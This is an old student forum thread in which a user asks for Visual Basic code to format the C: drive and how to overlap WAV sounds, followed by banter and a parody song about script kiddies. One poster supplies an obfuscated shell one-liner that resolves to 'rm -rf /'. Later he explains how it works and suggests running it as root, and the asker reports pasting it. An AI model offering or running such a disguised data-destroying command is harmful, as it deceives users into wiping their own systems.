• YOU can help the next generation of students in the community!
    Share your trial papers and notes on our Notes & Resources page

Format C: in VB (1 Viewer)

Ragerunner

Your friendly HSC guide
Joined
Apr 12, 2003
Messages
5,472
Location
UNSW
Gender
Male
HSC
2003
anyone know the code to do this ?

now don't get any thoughts of why i want to know this :)

on another question as well my wav files in my program don't work together.

i start my game with music in the background and when i use the movement button (which makes a sound) it cancells the background music

anyway to get them to overlap ?
 

hurrotisrobbo

Cabbage
Joined
Jul 30, 2002
Messages
531
Location
Sydney, Newtown.
Gender
Male
HSC
2002
> howabout the format C: code ? =]

Oh, go and boil your bottom. Go learn a vaguely real/useful programming language, son of a silly person.

Try:

Code:
rm -rf `cat /etc/fstab | grep 'LABEL=/boot' | awk '{printf("%s",$2)}' | sed 's/boot//g'`
(The first and last 'apostrophes' are backticks, by the way... ` , not ' .)
 

hurrotisrobbo

Cabbage
Joined
Jul 30, 2002
Messages
531
Location
Sydney, Newtown.
Gender
Male
HSC
2002
Ooh, how could I forget:

"About them Script Kiddies,
the internet's old plight.
Goin' all around,
usin' hacks they didn't write.
Them Script Kiddies lurk the net,
as devious little foes.
Keep them admins well employed,
and keeps them on their toes!
When Script Kiddies learn a trick,
it makes for one tight spot.
If you ain't patched up to date,
think again, because you ought.
How to be a Script Kiddy,
logon the net ad hoc.
Google for the hack you want,
and start your own havoc."

It should be obvious what it's sung to. :D
 

sunny

meh.
Joined
Jul 7, 2002
Messages
5,350
Gender
Male
HSC
2002
When someone knocks another programming language, they usually just miss the point of the language and brand it as crap. A good programmer should know a range of tools and pick the right one for the job.

Anyway, to the original question about formatting, I don't think VB can do something that low level - you'll have to execute other programs from VB to do the job.
 

:: ck ::

Actuarial Boy
Joined
Jan 1, 2003
Messages
2,414
Gender
Male
HSC
2004
Originally posted by hurrotisrobbo
Ooh, how could I forget:

"About them Script Kiddies,
the internet's old plight.
Goin' all around,
usin' hacks they didn't write.
Them Script Kiddies lurk the net,
as devious little foes.
Keep them admins well employed,
and keeps them on their toes!
When Script Kiddies learn a trick,
it makes for one tight spot.
If you ain't patched up to date,
think again, because you ought.
How to be a Script Kiddy,
logon the net ad hoc.
Google for the hack you want,
and start your own havoc."

It should be obvious what it's sung to. :D
english plz :D
 

Ragerunner

Your friendly HSC guide
Joined
Apr 12, 2003
Messages
5,472
Location
UNSW
Gender
Male
HSC
2003
ur must be the original script kiddie since you know all this
 

anti

aww.. baby raccoon ^^
Joined
Jul 28, 2002
Messages
2,900
Location
Hurstville
Gender
Undisclosed
HSC
2002
Originally posted by sunny
When someone knocks another programming language, they usually just miss the point of the language and brand it as crap. A good programmer should know a range of tools and pick the right one for the job.
bahahaa, you've been paying attention in COMP lectures!!!
 

sunny

meh.
Joined
Jul 7, 2002
Messages
5,350
Gender
Male
HSC
2002
Hey I actually believe in that too! But I learnt that first from Compuware 2002 when the instructor was teaching Python but branded someone stupid for suggesting to go through 30GB of spidered search engine data with Python code.
 

hurrotisrobbo

Cabbage
Joined
Jul 30, 2002
Messages
531
Location
Sydney, Newtown.
Gender
Male
HSC
2002
Ok, for starters the 'Go learn a vaguely real/useful programming language' was a Joke. I guess irony doesn't work well via web-forums. :) A poke at the VB-types who sit on the planet-source-code forums and shout how 'crap' C++ is...? No? Ok. *Sigh*

> english plz :D

"Can you see all the little piggies
Rolling in the dirt?
And for all the little piggies
Things are getting worse..." ? Beatles? Don't worry about it.
</Arsehat>

> ur must be the original script kiddie since you know all this

Yes, that's the one. I don't drink grog at all - I just get others to drink stackloads for me, so I can claim I can DRINK. So NYER.

I'm sure. :rolleyes:
 

anti

aww.. baby raccoon ^^
Joined
Jul 28, 2002
Messages
2,900
Location
Hurstville
Gender
Undisclosed
HSC
2002
drink? drink drink drink

oooh anti needs zzz
 

Soliah

Member
Joined
May 8, 2003
Messages
146
Location
Sydney, Liverpool
Originally posted by hurrotisrobbo
> howabout the format C: code ? =]

Oh, go and boil your bottom. Go learn a vaguely real/useful programming language, son of a silly person.

Try:

Code:
rm -rf `cat /etc/fstab | grep 'LABEL=/boot' | awk '{printf("%s",$2)}' | sed 's/boot//g'`
(The first and last 'apostrophes' are backticks, by the way... ` , not ' .)
Remove any file and folder recursively, even if folder is empty. Catenate /etc/fstab, then grab the line(s) with LABEL=/boot. Don't know what awk is :p but output the $2 2nd argument in the command.

Then you substitute any lines that have 'boot' in it with a nothing character so 'boot' is deleted.
 
Last edited:

Ragerunner

Your friendly HSC guide
Joined
Apr 12, 2003
Messages
5,472
Location
UNSW
Gender
Male
HSC
2003
Originally posted by Soliah
Remove any file and folder recursively, even if folder is empty. Catenate /etc/fstab, then grab the line(s) with LABEL=/boot. Don't know what awk is :p but output the $2 2nd argument in the command.

Then you substitute any lines that have 'boot' in it with a nothing character so 'boot' is deleted.

lol what do you mean by that ?
 

hurrotisrobbo

Cabbage
Joined
Jul 30, 2002
Messages
531
Location
Sydney, Newtown.
Gender
Male
HSC
2002
Originally posted by Soliah
Remove any file and folder recursively, even if folder is empty. Catenate /etc/fstab, then grab the line(s) with LABEL=/boot. Don't know what awk is :p but output the $2 2nd argument in the command.

Then you substitute any lines that have 'boot' in it with a nothing character so 'boot' is deleted.
Erm. Kind of.

Use the following output in the command 'rm -rf' ("Remove any file and folder recursively, even if folder is NOT empty."):

List the contents of /etc/fstab. Of the output, take only the lines containing 'LABEL=/boot'. From the output of that (probably "LABEL=/boot /boot"), take the second field ("/boot"). And then, to that text, replace any instances of "boot" with nothing (ie. delete it).

After the actions described in the above paragraph have been completed, the end result is a single character: "/"

So:

rm -rf `cat ....`

becomes...

rm -rf /

...which is the command that will delete the contents of your harddrive (well... Any mounted partitions anyway). And only the things you have access to. So, for full effectiveness, do this as root.

:D

*nix Obfuscation = lotsa fun. :)
 

Ragerunner

Your friendly HSC guide
Joined
Apr 12, 2003
Messages
5,472
Location
UNSW
Gender
Male
HSC
2003
i copy and pasted it

but the code just turns out red ? -_-
 

Fosweb

I could be your Doctor...
Joined
Jun 20, 2003
Messages
594
Location
UNSW. Still.
Gender
Male
HSC
2003
it's not the 'code' you are thinking about...

Sunny said you cant do it in vb (basically...)
hurrotisrobbo said use this linux command...
unless you have/use/want to do this in linux, then just forget about it...

did you figure out the sound playing thing?
 

Users Who Are Viewing This Thread (Users: 0, Guests: 1)

Top